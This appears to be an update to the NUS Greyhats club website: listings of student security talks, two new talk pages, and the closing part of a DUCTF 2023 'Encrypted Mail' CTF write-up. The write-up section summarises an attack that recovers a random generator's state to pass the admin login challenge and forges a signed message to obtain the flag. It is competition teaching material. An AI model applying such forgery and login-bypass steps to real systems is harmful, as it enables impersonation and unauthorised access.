them. Finally, they will conclude the presentation with a show and tell how they can acquire an infected or compromised machine and what forensic artifacts they can uncover for our investigations.","title":"SecWed #061021"},{"content":"We are back with a brand new site!\n","permalink":"https://nusgreyhats.org/posts/new-site/","summary":"We are back with a brand new site!","title":"New Website"},{"content":" Talk 1: 1900Hrs - 1945Hrs Talk Title: Unusual Applications of OpenAI in Cybersecurity\nOne of the most prominent examples of AI-generated synthetic media’s impact on cybersecurity is in the field of social engineering and information operations. However, AI language models can still pop up in interesting places. Could we use OpenAI to convert assembly to pseudocode while reverse-engineering binaries? How about locating vulnerabilities in code? Let’s dive down the rabbit hole of OpenAI’s API, covering the latest advanced features such as fine-tunes, searches, and classifications.\nPre-talk Preparations You may wish to read the AI Phishing Whitepaper published by Black Hat USA or watch the AI Phishing DEF CON talk.\nSpeaker Eugene hacks for good! From Amazon to Zendesk , he has helped secure products from a range of vulnerabilities. At the Government Technology Agency of Singapore (GovTech), he protects citizen data through offensive security research and penetration testing.\nWhile he focuses on application security and vulnerability research, he is also involved in a variety of domains such as artificial intelligence and social engineering. Prior to GovTech, he contributed to cyber defense projects with the Singapore Armed Forces and was awarded the Most Valuable Hacker title at HackerOne\u0026rsquo;s H1-213 live hacking event for the US Air Force, UK Ministry of Defense, and Verizon Media.\nHis work has been featured at top conferences such as Black Hat and DEF CON as well as industry publications like WIRED and The Daily Swig. He writes at https://spaceraccoon.dev/, where he shares tips and tricks from his white hat hacking journey, including zero-days in core npm packages (CVE-2020–7788) and office applications (CVE-2021-33035). He looks forward to growing and learning in the exciting world of cybersecurity.\nTalk 2: 1945Hrs - 2030Hrs Talk Title: How to get into CTFs\nCTF (Capture the Flag) competitions are contests of skills with the aim of defeating security to get access to the \u0026lsquo;flag\u0026rsquo; - a token that can be exchanged for points. CTFs are becoming more popular in Singapore with increased funding from the government, and due to more lucrative prize rewards. 1st Place prize has increased from $2,000 to $5,000 for CrossCTF, and DSO-NUS CTF 1st Place being $10,000, for example.\nSo, how does one participate in such competitions, and how does one win one? In this talk, we will go through the acquiring of skills, the mindset, and tactics necessary to win.\nSpeaker Akash is a Computer Science Student studying at NUS and a Member of Greyhats. He has participated in many CTF challenges and has a great amount of experience up his sleeve. He mainly focuses on Reverse Engineering and Pwn.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s1/sw1509/","summary":"Talk 1: 1900Hrs - 1945Hrs Talk Title: Unusual Applications of OpenAI in Cybersecurity\nOne of the most prominent examples of AI-generated synthetic media’s impact on cybersecurity is in the field of social engineering and information operations. However, AI language models can still pop up in interesting places. Could we use OpenAI to convert assembly to pseudocode while reverse-engineering binaries? How about locating vulnerabilities in code? Let’s dive down the rabbit hole of OpenAI’s API, covering the latest advanced features such as fine-tunes, searches, and classifications.","title":"SecWed #150921"},{"content":" Talk 1: 1900HRs - 1945HRs Title: Identifying Bugs in Router Firmware at Scale with Taint Analysis\nDescription Taint analysis is a very useful technique in reverse engineering and bug hunting. For some common vulnerability classes such as command injection or buffer overflow, it can be tedious for a researcher to find them through manual reverse engineering. In this talk, Daniel will share about a tool that he helped develop during his internship, which uses taint analysis techniques to automate the process of finding such bugs in router firmware.\nBio Daniel is a Year 3 Computer Engineering student in NUS. He is currently an intern at STARLabs, to fulfil his Industrial Attachment programme requirement by the Faculty of Engineering. He is also a member of the Greyhats core team.\nTalk 2: 1945HRs - 2030HRs Title: The Spectre of Ransomware and the Criminal Underground\nDescription The Criminal Underground today is a vibrant ecosystem, with many Criminal Enterprises existing to support Big Game Hunting (BGH) Ransomware Operations.\nNotable to the past year is the emergence of Access Brokers supporting a variety of Criminal Adversaries, including the most prolific Ransomware Operators, with initial access into their target environments.Also, a number of dramatic shifts have been observed in the BGH space, including the exponential surge in the adoption of the Extortion and Data Leaks tactics and the rise of Ransomware-as-a-Service.\nThis talk strives to take a deep dive into these recent threat trends and offer the audience with useful insights to better defend your organisation against the spectre of Ransomware and eCrime.\nBio Aaron serves as a Strategic Threat Advisor at Crowdstrike. He is responsible for CrowdStrike’s Threat Intelligence business across Asia-Pacific (APAC). Prior to his current role, Aaron was an Intelligence Consultant at Recorded Future. He was responsible for the design and implementation of threat Intelligence strategies for Commercial and Government Accounts across APAC.\nAaron got his start in Security and Threat Intelligence in the Singapore Armed Forces as a Military Intelligence Officer. He concluded 12 years of Active Duty in 2019 and has served in multiple Command Appointments in classified Intelligence Units, and garnered Staff experience in the areas of Strategic Planning and Policy Development. In his penultimate tour of duty, Aaron was instrumental in establishing the Defence Cyber Organisation (DCO), which is akin to Singapore’s Cyber Command.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s1/sw0809/","summary":"Talk 1: 1900HRs - 1945HRs Title: Identifying Bugs in Router Firmware at Scale with Taint Analysis\nDescription Taint analysis is a very useful technique in reverse engineering and bug hunting. For some common vulnerability classes such as command injection or buffer overflow, it can be tedious for a researcher to find them through manual reverse engineering. In this talk, Daniel will share about a tool that he helped develop during his internship, which uses taint analysis techniques to automate the process of finding such bugs in router firmware.","title":"SecWed #080921"},{"content":" Talk 1: 1900Hrs - 1945Hrs Talk Title: Cyber Risk Quantification: Let\u0026rsquo;s talk cyber risk\nCybersecurity have been growing in importance and frequently play a key role in organisations in this day and age. With the recent growth of cyber threats and implementation of new cybersecurity laws, the possibility and consequences of exploited cyber risks have increased exponentially as well. As cybersecurity specialists, how can we translate such costs and the benefits of new security controls into something that can be universally understood across the organisation? In this talk, Debbie will be giving a brief introduction into quantifying cyber risks and discuss how we, as cybersecurity specialists, can help our organisations make smarter cybersecurity investments.\nSpeaker Debbie is a final year undergraduate student at NUS, majoring in Information Security. She previously graduated from Nanyang Polytechnic with a Diploma in Cyber Security and Forensics. As part of her roles as CISO summer intern at UBS, Debbie contributed to a white paper on Cyber Risk Quantification.\nTalk 2: 1945Hrs - 2030Hrs Talk Title: Static code analysis with Semgrep\nStatic code analysis is a powerful tool in finding bugs in code. In this talk, we will show off the power of Semgrep, an open source static analysis tools, in matching complicated code patterns. The talk will demonstrate the power of the hundreds of community contributed Semgrep rules, provide a brief tutorial on writing custom Semgrep rules tailored to a code base, and discuss the various use cases where Semgrep can make a difference.\nSpeaker Terry is a security consultant at Centurion Information Security. He enjoys reverse engineering and fuzzing applications in his spare time.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s1/sw0109/","summary":"Talk 1: 1900Hrs - 1945Hrs Talk Title: Cyber Risk Quantification: Let\u0026rsquo;s talk cyber risk\nCybersecurity have been growing in importance and frequently play a key role in organisations in this day and age. With the recent growth of cyber threats and implementation of new cybersecurity laws, the possibility and consequences of exploited cyber risks have increased exponentially as well. As cybersecurity specialists, how can we translate such costs and the benefits of new security controls into something that can be universally understood across the organisation?","title":"SecWed #010921"},{"content":"Talk: 1900Hrs - 2030Hrs Talk Title: Cyber threat intelligence: Winning the war on cybercrime\nIn this session, Lionel Bruchez from the UBS AG Chief Information Security Office will introduce the latest cybercrime trends and how threat intelligence enables the organization to remain ahead of the game.\nBeyond traditional cyber defence, Lionel will also pave the way towards leveraging cyber intelligence to proactively identify market landscape, risks and investment opportunities to support firms’ revenue generation and growth opportunities.\nSpeaker Lionel Bruchez is the COO of the UBS Intelligence Center and deputy APAC Chief Information Security Officer (CISO). In his roles, Lionel focuses on generating a business context for cyber defence activities and providing strategic and tactical awareness to key decision-makers across the firm. Lionel currently oversees the development of the UBS CISO Market Insights and Business Advisory service with a key focus on leveraging cybersecurity to enable a competitive advantage for organizations and institutions. Lionel comes from an academic background in ETH Zürich and EPF Lausanne, where he specialized in Quantum Cryptography, probabilistic machine learning, and research on next-generation Internet architectures.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s1/sw2508/","summary":"Talk: 1900Hrs - 2030Hrs Talk Title: Cyber threat intelligence: Winning the war on cybercrime\nIn this session, Lionel Bruchez from the UBS AG Chief Information Security Office will introduce the latest cybercrime trends and how threat intelligence enables the organization to remain ahead of the game.\nBeyond traditional cyber defence, Lionel will also pave the way towards leveraging cyber intelligence to proactively identify market landscape, risks and investment opportunities to support firms’ revenue generation and growth opportunities.","title":"SecWed #250821"},{"content":"Talk 1: 1900HRs - 1945HRs Title: Defending Singapore’s Digital Borders\nDescription Cyberspace will be increasingly central to maintaining Singapore’s economic success and geopolitical relevance. As one of the most connected countries globally, Singapore’s connectivity and digitalisation will only continue to intensify under our Smart Nation initiative. At the same time, cyber threats continue to proliferate. We see a variety of cyber threats from terrorists, criminal, and state-sponsored organisations, especially as Covid-19 has forced many of us to work, learn, and play from home, on our mobile and electronic devices.\nMINDEF/SAF is responsible for enhancing Singapore’s security and sovereignty, no matter where the threats come from. Join us to find out more!\nBio COL Justiin Ang, is Head, Cyber Strategy and Policy Department, of the Defence Cyber Organisation. COL Ang serves as the principal advisor to the Defence Cyber Chief for all matters pertaining to development and implementation of cyber strategies and plans. Prior to this, COL Justiin Ang held the appointment of Director (Strategic Policy, Policy-Operations and Futures) in the Defence Policy Office, where he oversaw the development of strategies to guide MINDEF’s defence relations, as well as policy matters pertaining to the SAF’s operations. COL Justiin Ang joined the Defence Cyber Organisation in 2020 after graduating from Carnegie Mellon University with a Masters in Science in Information Security. An Army infantry officer by vocation, he has experience in policy, operations, and talent management, having served with MINDEF/SAF for more than 20 years.\nTalk 2: 1945HRs - 2030HRs Title: Adversarial Attack on Machine Learning Models\nDescription Machine learning models, especially deep neural networks, have achieved excellent performance in tasks such as image classification, object detection and natural language processing. Nonetheless, most machine learning models are vulnerable towards attacks using adversarial samples. A smallest perturbation on the input, such as change of a pixel’s value, could cause the model to give the wrong result. In this talk, I will give a brief introduction about some of the adversarial attacks and discuss what we can do to mitigate them.\nBio Jiyi graduated from NUS School of Computing in 2018 with first class honors. Currently, he is a part-time PhD student in NUS, working with Prof. Chang Ee-Chien on topics in machine learning security. He is also working as a research scientist in PayPal.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s1/sw1808/","summary":"Talk 1: 1900HRs - 1945HRs Title: Defending Singapore’s Digital Borders\nDescription Cyberspace will be increasingly central to maintaining Singapore’s economic success and geopolitical relevance. As one of the most connected countries globally, Singapore’s connectivity and digitalisation will only continue to intensify under our Smart Nation initiative. At the same time, cyber threats continue to proliferate. We see a variety of cyber threats from terrorists, criminal, and state-sponsored organisations, especially as Covid-19 has forced many of us to work, learn, and play from home, on our mobile and electronic devices.","title":"SecWed #180821"},{"content":" Talk 1: 1900Hrs - 1945Hrs Talk Title: Greyhats Introduction\nDo you find yourself wondering what the Greyhats team is often up to? Want to get to know more about the information security industry? Want to further hone your information security skills? 🖥 🚀\nLearn more about NUS\u0026rsquo; first and only information security interest group and the various activities that we embark on together! Join us at our welcome tea on 11 August 2021 from 7pm to 8.30pm, and get to know some of us and our team\u0026rsquo;s work first hand! 👨‍💻👨‍💻👨‍💻👨‍💻\nSpeaker NUS GreyHats is a special interest group designed to spark students\u0026rsquo; interest in information security and advance the level of security proficiency towards the aim of contributing to the growing need for cyber defenders in the government and private sectors.\nTalk 2: 1945Hrs - 2030Hrs Talk Title: Enigma and Bombe: how they encrypt and how they decipher in WWII\nMost cybersecurity professionals probably are aware of the significant role of codebreakers in WWII, in particular the encryption device Enigma and the code-breaker Bombe that often appeared in popular media. So, what about the technical details? In this talk, I will describe the details of Enigma \u0026amp; Bombe, up to the point that we could simulate them. While the experiences on both machines likely shaped development of modern cryptography, we probably won’t need such electro-mechanical system anymore. Nonetheless, it would be a fun topic to kickstart this seminar series.\nSpeaker Ee-Chien Chang is an Associate Professor in the School of Computing at National University of Singapore (NUS). He received his PhD in Computer Science from New York University and was a postdoctoral fellow with DIMACS in Rutgers University and NEC Labs America. His research focuses on cybersecurity security and is particularly intrigued by cross-domain problems. His earlier works include multimedia security, such as image forensic, image watermarking and biometric cryptography, which is in the intersection of multimedia and applied cryptography. More recently, he has been investigating issues on security of machine learning under adversarial environment, and application of the hardware-based Trusted Execution Environment in the cloud. He has published in reputable conferences and journals. He is a lead-PI of National Cybersecurity R\u0026amp;D Laboratory (NCL), NUS, and deputy director of the Centre for Technology, Robotics, Artificial Intelligence \u0026amp; the Law (TRAIL), NUS.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s1/sw1108/","summary":"Talk 1: 1900Hrs - 1945Hrs Talk Title: Greyhats Introduction\nDo you find yourself wondering what the Greyhats team is often up to? Want to get to know more about the information security industry? Want to further hone your information security skills? 🖥 🚀\nLearn more about NUS\u0026rsquo; first and only information security interest group and the various activities that we embark on together! Join us at our welcome tea on 11 August 2021 from 7pm to 8.","title":"SecWed #110821"},{"content":"","permalink":"https://nusgreyhats.org/resources/","summary":"resources","title":"Resources"},{"content":"","permalink":"https://nusgreyhats.org/secweds/","summary":"secweds","title":"Security Wednesdays"},{"content":"","permalink":"https://nusgreyhats.org/team/","summary":"team","title":"The Team"}] \ No newline at end of file diff --git a/index.xml b/index.xml index e81e1c9a..f07a549d 100644 --- a/index.xml +++ b/index.xml @@ -10,7 +10,28 @@ Hugo -- gohugo.io en - Tue, 17 Oct 2023 00:00:00 +0800 + Wed, 15 Nov 2023 00:00:00 +0000 + + SecWed #151123 + https://nusgreyhats.org/posts/secweds/ay2324s1/sw1511/ + Wed, 15 Nov 2023 00:00:00 +0000 + + https://nusgreyhats.org/posts/secweds/ay2324s1/sw1511/ + Talk Title: Practical Application of Fuzzing – Finding CVE-2021-3376 +Download Slides +Description Yi Tian is a current member of NUS Greyhats, and a former intern of Star Labs. During his internship with Star Labs, he wrote fuzzers and harnesses and found an information disclosure vulnerability in Windows Media Foundation, CVE-2021-33760. Fuzzing is often misunderstood and through this presentation, we hope to enlighten you on just what goes into building a harness and running a fuzzer. + + + + SecWed #181023 + https://nusgreyhats.org/posts/secweds/ay2324s1/sw1810/ + Wed, 18 Oct 2023 00:00:00 +0000 + + https://nusgreyhats.org/posts/secweds/ay2324s1/sw1810/ + Talk Title: From Software Engineer to Security Leadership, sharing insights and perspectives from my career journey to help you with yours +Description Leading up to his current post as Global Head of Cyber Security Services at Crypto.com, Mr Tim Yip has had an impressive career serving in global banks, fortune 500 technology companies, the public service and the military. Some of his past roles include Vice President, Global Head of Intrusion Forensics at JP Morgan. + + [DUCTF 2023] Encrypted Mail https://nusgreyhats.org/posts/writeups/ductf-2023-encrypted-mail/ diff --git a/posts/index.xml b/posts/index.xml index 4f2ac194..58bec670 100644 --- a/posts/index.xml +++ b/posts/index.xml @@ -10,7 +10,28 @@ Hugo -- gohugo.io en - Tue, 17 Oct 2023 00:00:00 +0800 + Wed, 15 Nov 2023 00:00:00 +0000 + + SecWed #151123 + https://nusgreyhats.org/posts/secweds/ay2324s1/sw1511/ + Wed, 15 Nov 2023 00:00:00 +0000 + + https://nusgreyhats.org/posts/secweds/ay2324s1/sw1511/ + Talk Title: Practical Application of Fuzzing – Finding CVE-2021-3376 +Download Slides +Description Yi Tian is a current member of NUS Greyhats, and a former intern of Star Labs. During his internship with Star Labs, he wrote fuzzers and harnesses and found an information disclosure vulnerability in Windows Media Foundation, CVE-2021-33760. Fuzzing is often misunderstood and through this presentation, we hope to enlighten you on just what goes into building a harness and running a fuzzer. + + + + SecWed #181023 + https://nusgreyhats.org/posts/secweds/ay2324s1/sw1810/ + Wed, 18 Oct 2023 00:00:00 +0000 + + https://nusgreyhats.org/posts/secweds/ay2324s1/sw1810/ + Talk Title: From Software Engineer to Security Leadership, sharing insights and perspectives from my career journey to help you with yours +Description Leading up to his current post as Global Head of Cyber Security Services at Crypto.com, Mr Tim Yip has had an impressive career serving in global banks, fortune 500 technology companies, the public service and the military. Some of his past roles include Vice President, Global Head of Intrusion Forensics at JP Morgan. + + [DUCTF 2023] Encrypted Mail https://nusgreyhats.org/posts/writeups/ductf-2023-encrypted-mail/ diff --git a/posts/secweds/ay2324s1/sw1511/index.html b/posts/secweds/ay2324s1/sw1511/index.html new file mode 100644 index 00000000..27e92095 --- /dev/null +++ b/posts/secweds/ay2324s1/sw1511/index.html @@ -0,0 +1,13 @@ +SecWed #151123 | NUS Greyhats +

SecWed #151123

Talk Title: Practical Application of Fuzzing – Finding CVE-2021-3376

Download Slides

Description

Yi Tian is a current member of NUS Greyhats, and a former intern of Star Labs. During his internship with Star Labs, he wrote fuzzers and harnesses and found an information disclosure vulnerability in Windows Media Foundation, CVE-2021-33760. Fuzzing is often misunderstood and through this presentation, we hope to enlighten you on just what goes into building a harness and running a fuzzer. We’ll also take a quick look at a real-world CVE discovered using a fuzzer, shedding light on the practical application of fuzzers.


\ No newline at end of file diff --git a/posts/secweds/ay2324s1/sw1810/index.html b/posts/secweds/ay2324s1/sw1810/index.html new file mode 100644 index 00000000..2cd59314 --- /dev/null +++ b/posts/secweds/ay2324s1/sw1810/index.html @@ -0,0 +1,11 @@ +SecWed #181023 | NUS Greyhats +

SecWed #181023

Talk Title: From Software Engineer to Security Leadership, sharing insights and perspectives from my career journey to help you with yours

Description

Leading up to his current post as Global Head of Cyber Security Services at Crypto.com, Mr Tim Yip has had an impressive career serving in global banks, fortune 500 technology companies, the public service and the military. Some of his past roles include Vice President, Global Head of Intrusion Forensics at JP Morgan. Join us this SecWed to hear more about his career journey!


\ No newline at end of file diff --git a/posts/writeups/ductf-2023-encrypted-mail/index.html b/posts/writeups/ductf-2023-encrypted-mail/index.html index 47d37418..438c948e 100644 --- a/posts/writeups/ductf-2023-encrypted-mail/index.html +++ b/posts/writeups/ductf-2023-encrypted-mail/index.html @@ -187,7 +187,8 @@ print(new_target) # b'Send flag to elSvxrjZ' -

So, before we log into admin, we just have to create the user elSvxrjZ, log into admin and send the spoofed message (Send flag to elSvxrjZ) to flag_haver. flag_haver will send the flag to elSvxrjZ and we can log into elSvxrjZ and decrypt the flag with elSvxrjZ’s private key.

Summary of attack

  1. Create an account with the username elSvxrjZ and save the private key.
  2. Create an account with the username MeowMeowMeow and save the private key.
  3. Log into MeowMeowMeow 156 times to get enough challenge answers to recover the random generator’s internal state.
  4. Save the welcome message the admin sent MeowMeowMeow.
  5. Locally generate the answers for the next login challenge to log into the admin without knowing the admin’s private key.
  6. Use the saved welcome message for MeowMeowMeow to fake a signed message from admin that tells flag_haver to send the flag to elSvxrjZ.
    • flag_haver is prompted to send the flag to username elSvcrjZ.
  7. Log into elSvxrjZ and use elSvxrjZ’s private key to decrypt the message from flag_haver, which contains the flag.

Flag: DUCTF{wait_its_all_linear_algebra?...always_has_been}